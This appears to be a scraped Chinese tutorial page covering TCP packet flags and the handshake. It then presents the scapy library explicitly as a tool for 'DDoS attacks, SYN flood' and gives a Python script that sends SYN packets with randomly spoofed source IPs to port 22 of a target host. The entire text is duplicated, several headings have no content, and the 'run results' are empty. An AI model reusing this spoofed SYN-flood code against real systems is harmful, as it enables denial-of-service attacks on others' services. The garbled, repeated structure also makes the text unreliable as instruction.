
正文
33.TCP协议概念/scapy模块doos攻击
提示:扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
TCP协议概念/scapy模块:
1,TCP/IP四层协议:
2,TCP数据包的构成:
-
TCP FLAGS:TCP数据包标志位
-
U:URG,紧急比特
-
A:ACK,确认比特
-
P:PSH,推送比特
-
S:SYN,同步比特:这个是一个连接请求的数据包,代表着我要主动连接对方
-
F:FIN,终止比特:当我要和对方断开连接
-
R:RST,复位比特:代表重新建立连接
3,tcp三次握手:
4,四次挥手:
5,scapy模块
-
作用是用来doos攻击,SYN泛洪
-
scapy模块
-
构建TCP数据包
-
安装scapy
-
pip3 install scapy
from random import randint
from scapy.all import *
for var in range(20):
random_ip = '%s.%s.%s.%s' % (randint(1,255),randint(1,255),randint(1,255),randint(1,255))
random_port = 23333
data = IP(dst='192.168.137.130',src=random_ip) / TCP(dport=22,sport=random_port,flags='S') #SYN TCP数据包
send(data) #发送
运行结果:
1,TCP/IP四层协议:
2,TCP数据包的构成:
- TCP FLAGS:TCP数据包标志位
- U:URG,紧急比特
- A:ACK,确认比特
- P:PSH,推送比特
- S:SYN,同步比特:这个是一个连接请求的数据包,代表着我要主动连接对方
- F:FIN,终止比特:当我要和对方断开连接
- R:RST,复位比特:代表重新建立连接
3,tcp三次握手:
4,四次挥手:
5,scapy模块
- 作用是用来doos攻击,SYN泛洪
-
scapy模块
-
构建TCP数据包
- 安装scapy
- pip3 install scapy
from random import randint
from scapy.all import *
for var in range(20):
random_ip = '%s.%s.%s.%s' % (randint(1,255),randint(1,255),randint(1,255),randint(1,255))
random_port = 23333
data = IP(dst='192.168.137.130',src=random_ip) / TCP(dport=22,sport=random_port,flags='S') #SYN TCP数据包
send(data) #发送
运行结果:







